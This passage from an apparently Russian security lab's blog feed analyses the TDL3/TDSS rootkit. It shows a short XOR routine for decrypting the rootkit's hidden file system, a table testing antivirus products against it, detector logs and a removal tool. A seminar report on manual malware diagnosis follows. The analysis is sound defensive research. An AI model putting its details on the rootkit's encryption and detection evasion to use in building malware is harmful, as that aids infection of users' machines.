<span style="color: #008080;">1</span> <span style="color: #008000;">//</span><span style="color: #008000;"> функция расшифровки сектора (его размер равен 1024-м байтам)</span><span style="color: #008000;">
</span><span style="color: #008080;">2</span> <span style="color: #008000;"></span><span style="color: #0000FF;">void</span><span style="color: #000000;"> xor_encrypt(unsigned </span><span style="color: #0000FF;">char</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">buf, </span><span style="color: #0000FF;">int</span><span style="color: #000000;"> buf_len)
</span><span style="color: #008080;">3</span> <span style="color: #000000;">{
</span><span style="color: #008080;">4</span> <span style="color: #000000;">    unsigned </span><span style="color: #0000FF;">char</span><span style="color: #000000;"> key </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800080;">0x54</span><span style="color: #000000;">;
</span><span style="color: #008080;">5</span> <span style="color: #000000;">    </span><span style="color: #0000FF;">for</span><span style="color: #000000;"> (</span><span style="color: #0000FF;">int</span><span style="color: #000000;"> i </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #800080;">0</span><span style="color: #000000;">; i </span><span style="color: #000000;">&lt;</span><span style="color: #000000;"> buf_len; i</span><span style="color: #000000;">++</span><span style="color: #000000;">)
</span><span style="color: #008080;">6</span> <span style="color: #000000;">    {
</span><span style="color: #008080;">7</span> <span style="color: #000000;">        </span><span style="color: #000000;">*</span><span style="color: #000000;">(buf </span><span style="color: #000000;">+</span><span style="color: #000000;"> i) </span><span style="color: #000000;">^=</span><span style="color: #000000;"> key</span><span style="color: #000000;">++</span><span style="color: #000000;">;
</span><span style="color: #008080;">8</span> <span style="color: #000000;">    }
</span><span style="color: #008080;">9</span> <span style="color: #000000;">}</span></div>
</pre>
<p>Формат самой файловой системы и логика её хранения на диске не изменились.
<p><b>TDSS против антивирусных продуктов</b>
<p>В рамках исследования новых версий руткита мы провели тесты различных антивирусных программ с целью выяснения, насколько эффективно антивирусная индустрия противостоит руткиту TDSS на данный момент.</p>
<p>Тестирование производилось на платформе VMware с установленной гостевой операционной системой Windows XP Professional SP3. Были протестированы последние на момент написания данной заметки версии тех антивирусных продуктов, в которых ранее была заявлена способность к детектированию или лечению TDL3. Кроме того, с целью выяснения эффективности используемой в инсталляторе руткита техники обхода проактивных защит, в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).</p>
<p>На виртуальную машину устанавливались последние версии тестируемых приложений, после чего осуществлялось обновление антивирусных баз и компонентов. Далее производился запуск инсталлятора руткита, перезагрузка гостевой ОС и полное сканирование системы тестируемым приложением с активацией всех возможных дополнительных настроек:
<p>
<center></p>
<table border="1" cellspacing="0" cellpadding="5" style="border: 1px solid #000000; border-collapse: collapse">
<tr>
<td align="center" bgcolor="#EEEEEE">Название и версия программы</td>
<td align="center" width="140" bgcolor="#EEEEEE">Обнаружение по поведению</td>
<td align="center" width="140" bgcolor="#EEEEEE">Обнаружение активнго заражения</td>
<td align="center" width="140" bgcolor="#EEEEEE">Лечение активного заражения</td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Dr.Web Security Space 6.00.0.04080</td>
<td align="center"><b>N/A</b></td>
<td align="center"><b><font color="green">Yes</font></b></td>
<td align="center"><b><font color="green">Yes</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Kaspersky TDSSKiller 2.2.8.1</td>
<td align="center"><b>N/A</b></td>
<td align="center"><font color="red">Обнаружен неправильный файл</font></td>
<td align="center"><b><font color="red">No</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Norman TDSS Cleaner 1.9.1.0</td>
<td align="center"><b>N/A</b></td>
<td align="center"><b><font color="green">Yes</font></b></td>
<td align="center"><b><font color="green">Yes</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Vba32 AntiRootkit 3.12.4.0 </td>
<td align="center"><b>N/A</b></td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><b><font color="red">No</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">HitmanPro 3.5.5.98</td>
<td align="center"><b>N/A</b></td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><b><font color="red">No</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">MalwareBytes Anti-Malware 1.45</td>
<td align="center"><b>N/A</b></td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><b><font color="red">No</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">RootRepeal 2.0.0 Beta</td>
<td align="center"><b>N/A</b></td>
<td align="center"><font color="red">Только в памяти</font> (без имени зараженного файла)</td>
<td align="center"><b><font color="red">No</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Comodo Internet Security 3.14</td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><b>N/A</b></td>
<td align="center"><b>N/A</b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Kaspersky Internet Security 2010 (9.0.0.736)</td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><font color="red">Только в памяти</font> (без имени зараженного файла)</td>
<td align="center"><b><font color="red">No</font></b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">ZoneAlarm Internet Security Suite 9.1.507.0</td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><b>N/A</b></td>
<td align="center"><b>N/A</b></td>
</tr>
<tr>
<td align="right" bgcolor="#EEEEEE">Outpost Firewall Pro 2009 (3063.452.726.367)</td>
<td align="center"><b><font color="red">No</font></b></td>
<td align="center"><b>N/A</b></td>
<td align="center"><b>N/A</b></td>
</tr>
</table>
<p></center>
<p>Как видно из таблицы, с лечением активного заражения справилось всего две программы. Утилита TDSSKiller смогла обнаружить факт заражения, однако, в качестве зараженного файла был указан atapi.sys, что не соответствовало действительности:</p>
<pre>
00:41:06:756 1880 Driver "atapi" infected by TDSS rootkit!
00:41:06:772 1880 C:\WINDOWS\system32\DRIVERS\atapi.sys - Verdict: 1
00:41:06:772 1880 File "C:\WINDOWS\system32\DRIVERS\atapi.sys" infected by TDSS rootkit ...
00:41:06:772 1880 Processing driver file: C:\WINDOWS\system32\DRIVERS\atapi.sys
</pre>
<p>Утилита RootRepeal смогла обнаружить только модифицированный руткитом Driver Object:</p>
<pre>
STEALTH CODE
-------------------
System 0x816f78b4  -  Hidden Code
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLEANUP]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLOSE]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CREATE]
...
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_WRITE]
</pre>
<p>С поведенческим обнаружением инсталляции руткита в систему не справился ни один продукт.</p>
<p>С учётом относительно свежести тестируемого экземпляра руткита, рано делать какие-либо выводы из этих результатов. Но очевидно, что если в ближайшем будущем ситуация с детектированием TDL3 антивирусными программами не исправится, то он может стать для антивирусной индустрии самым существенным провалом со времён червя Conficker. По нашим данным, ботом TDSS заражено огромное количество машин – его ботнет на данный момент <a href="http://www.networkworld.com/news/2009/072209-botnets.html">входит в число 10-ти самых крупных</a>.
<p><b>TDSS Remover</b>
<p>Вскоре после появления новой версии TDL3 мы выпустили обновление своей утилиты <a href="http://www.esagelab.ru/resources.php?s=tdss_remover">TDSS Remover</a>:
<p><center><img src="/images/blog_tdss/Remover.gif" border="0"></center>
<p>Помимо лечения самой последней версии руткита, в новой версии утилиты была добавлена функция сохранения зашифрованной файловой системы руткита, а также утилита, которая извлекает отдельные файлы руткита из сохраненной файловой системы. Файловая система руткита автоматически сохраняется в файл с именем TDL3_volum.bin одновременно с сохранением зараженных файлов:
<p><center><img src="/images/blog_tdss/Remover_dump.gif" border="0" style="border: 1px solid black"></center>
<p>Для извлечения файлов, хранящихся на зашифрованной файловой системе, используется утилита TDL3_extract.exe, которой в качестве параметра передаётся путь к файлу TDL3_volume.bin:</p>
<pre>
C:\> TDL3_extract.exe dump_28.04-05.56.44\TDL3_volume.bin
Extracting data from file dump_28.04-05.56.44\TDL3_volume.bin...
0x00000001 0x000001ac config.ini
0x00000002 0x00005f8c tdl
0x0000001b 0x00000360 rsrc.dat
0x0000001c 0x0000007f bckfg.tmp
0x0000001d 0x00005000 tdlcmd.dll
Press any key to quit...
</pre>
<p>- Дмитрий Олексюк</p>
]]></content:encoded>
			<wfw:commentRss>http://esagelab.ru/blog/2010/04/29/30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Отчёт о семинаре &#171;Безопасность без антивирусов&#8230;&#187;</title>
		<link>http://esagelab.ru/blog/2010/04/22/3/</link>
		<comments>http://esagelab.ru/blog/2010/04/22/3/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 11:56:42 +0000</pubDate>
		<dc:creator>alisa</dc:creator>
				<category><![CDATA[Лаборатория]]></category>
		<category><![CDATA[отчёт]]></category>
		<category><![CDATA[тренинг]]></category>

		<guid isPermaLink="false">http://esagelab.ru/blog/?p=3</guid>
		<description><![CDATA[На прошлой неделе мы провели экспериментальный практический семинар (тренинг): «Безопасность без антивирусов в среде Windows». Что это было? Два дня живой практики, посвященной диагностике операционной системы вручную, поиску скрытых программ и подозрительного содержимого в документах, скриптах, исполняемых файлах. Семинар прошел отлично, во многом благодаря команде компании «ДиалогНаука», выступившей его организатором.


Я описала семинар как «экспериментальный», в пресс-релизе [...]]]></description>
			<content:encoded><![CDATA[<p>На прошлой неделе мы провели экспериментальный практический семинар (тренинг): «Безопасность без антивирусов в среде Windows». <strong>Что это было? Два дня живой практики</strong>, посвященной диагностике операционной системы вручную, поиску скрытых программ и подозрительного содержимого</strong> в документах, скриптах, исполняемых файлах. Семинар прошел отлично, во многом благодаря команде компании «ДиалогНаука», выступившей его организатором.</p>
<p><center><img src="/images/slide-.jpg" alt="" width="500" /></center><br />
<span id="more-3"></span></p>
<p>Я описала семинар как «экспериментальный», в <a href="http://www.dials.ru/main.phtml?/press-center/press-release&amp;newser=0000001270546529.txt">пресс-релизе</a> он фигурирует как «уникальный». Не хватает еще одного эпитета – «первый в России» <img src='http://esagelab.ru/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Специалисты, чья профессиональная деятельность так или иначе связана с информационной безопасностью, давно привыкли к формату лекций – т.е. к пассивному прослушиванию информации, которая забывается через два дня, не будучи подкрепленной практическими навыками. Помимо теоретических лекций, проводятся также продукто-ориентированные семинары, которые дают навыки работы с конкретными приложениями, но не дают понимания и навыков работы с самой проблемой. Но не существует такого обучения для русскоговорящих специалистов по безопасности, которое было бы одновременно и <strong>фундаментальным, и практическим, и актуальным</strong>. Именно эти идеи, положенные в основу моего семинара, и обусловили уместность всех вышеприведенных эпитетов.</p>
<h2>Подробнее о ключевых идеях.</h2>
<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>1. Фундаментальное понимание проблемы.</strong></p>
<p>Можно чего-то не <em>знать</em>, но если есть <em>фундамент понимания</em> в данной области, то необходимые для решения конкретной проблемы знания несложно найти, вывести или сформулировать. А именно этот навык &#8211; навык решения задач в незнакомой ситуации &#8211; является критическим в современном мире, где информация быстро устаревает. Поэтому программа семинара включила в себя только необходимый для практики фундамент, ключевые системы и методологии, не перегруженные излишней информацией.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>2. Практика. Практика, и ещё раз практика.</strong></p>
<p>Невозможно проанализировать код, прослушав об этом лекцию. Большую часть программы моего тренинга составляют практические задания, расположенные по мере возрастания сложности и самостоятельности действий студентов. Все практические задания &#8211; из реальной жизни.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>3. Актуальность знаний и навыков.</strong></p>
<p>Вредоносный код – стремительно развивающаяся отрасль. Все(!) тематические книги на русском языке и большая часть авторитетных публикаций отражают устаревшие знания, не имеющие никакого отношения к реальности. Из этих соображений я включила в программу тренинга знания и практику только по самым актуальным угрозам: программы-вымогатели, руткиты и боты, вредоносный код в скриптах, Flash, PDF.</p>
<h2>О чём идёт речь?</h2>
<p>Сейчас вредоносный код &#8211; это центральное звено всех известных угроз информационной безопасности (без учета человеческого фактора). Зачем взламывать сеть организации, если можно подбросить ряду сотрудников бэкдор на флешке? Зачем взламывать веб-сервер для установки руткита или заражения скриптов, если можно украсть пароль к FTP-аккаунту администратора при помощи троянца? </p>
<p>При этом, всегда существует зазор между защитой, которую обеспечивают антивирус и обновления системы, и реальной угрозой. Примерно такой:</p>
<p><center><a href="http://habrahabr.ru/blogs/infosecurity/89016/" target="_blank" border=0><img src="/images/virus_na.jpg" width=600></a><br />
(Источник: <a href="http://habrahabr.ru/blogs/infosecurity/89016/" target="_blank" border=0>Habrahabr.ru</a>)</center></p>
<p>Как это возможно? Примерно как в анекдоте про обезьян и &laquo;Войну и мир&raquo;: миллионы исследователей каждый день трудятся над поиском новых уязвимостей в популярных программах. Многие из этих исследователей настолько удачливы, что найденная уязвимость позволяет запускать вредоносный код в обход самой актуальной защиты, иногда &#8211; из файлов неожиданного формата:<br />
<br />
<center><a href="http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/" target="_blank" border=0><img src="/images/esc_pdf.jpg" width=600></a><br />
(Источники: <a href="http://habrahabr.ru/blogs/infosecurity/89478/" target="_blank">Habrahabr.ru</a> и <a href="http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/" target="_blank">Блог Didier Stevens</a>)</center></p>
<p>В описанной ситуации только полный идиот может отдать защиту критической информации на откуп автоматизированным системам &#8211; будь то обычный антивирус, сетевой экран или дорогостоящее корпоративное решение. Подобно тому, как за атакой всегда стоят ее организаторы, без которых бесполезны любые технические средства &#8211; так и за защитой должны стоять профессионалы: специалисты, обладающие <b>фундаментальным пониманием</b> актуальных угроз, <b>практическими навыками</b> защиты, и <b>способностью быстро ориентироваться</b>  в современной ситуации.</p>
<p>Задача семинара, о котором идет речь &#8211; делать таких специалистов.</p>
<h2>Немного предыстории</h2>
<p>При подготовке программы меня больше всего волновал вопрос: смогут ли участники за два дня усвоить заявленный достаточно объемный и специфичный набор навыков? <b>Диагностика руткитов, реверс-инжиниринг</b> – этому можно учиться годами, прочитывая не один учебник по ассемблеру и архитектуре операционных систем. И смогу ли я выстроить теоретический фундамент тренинга и логику практических заданий таким образом, чтобы обеспечить это ускорение?</p>
<p>В первые же часы семинара большинство сомнений рассеялось. Участники – в их числе были ИТ-специалисты, системные администраторы и специалисты техподдержки – легко подхватывали знания, задавали правильные вопросы и самостоятельно находили решения для практических задачек. Но действительно расслабилась я только в конце второго дня, пронаблюдав картину внимательного изучения участниками дизассемблерного листинга в IDA (вопреки сложности темы и общей усталости).</p>
<p><center><img src="/images/students-.jpg" alt="" width="500" /></center></p>
<p>Другой вопрос, который меня волновал: насколько сложным должен быть материал? Мне интересно углубляться в технические детали, но не каждому специалисту это интересно и/или необходимо. Поэтому при подготовке тренинга я пошла на компромисс с самой собой и убрала из программы наиболее сложные вещи, а также сделала саму программу достаточно поверхностной. И это было излишним: как показывают данные формальных опросников, большинство участников хотели бы получить еще <b>больше практики (и теории!), больше времени на усвоение знаний и навыков, и больше</b> погружения в специфические темы. (Ура!)</p>
<p><center><img src="/images/coffee-break-.jpg" alt="" height="500" /></center></p>
<p><b>Что же дальше?</b></p>
<p>Во-первых, мы будем продолжать вести этот семинар в открытом формате, в сотрудничестве с компанией «ДиалогНаука».</p>
<p>Во-вторых, мы будем вести закрытые семинары в тех компаниях, где необходимы действительно грамотные (а не просто «обученные») и хорошо ориентирующиеся в современных угрозах специалисты по безопасности.</p>
<p>В-третьих, мы планируем серию более узкоспециализированных технических семинаров, посвященных анализу отдельных типов файлов, поиску и удалению наиболее сложных вредоносных программ.</p>
<p>Кратчайший путь к дополнительной информации по этой теме &#8211; электронная почта: <a href="mailto:alisa@esagelab.ru">alisa@esagelab.ru</a>.</p>
<p>- Алиса</p>
]]></content:encoded>
			<wfw:commentRss>http://esagelab.ru/blog/2010/04/22/3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
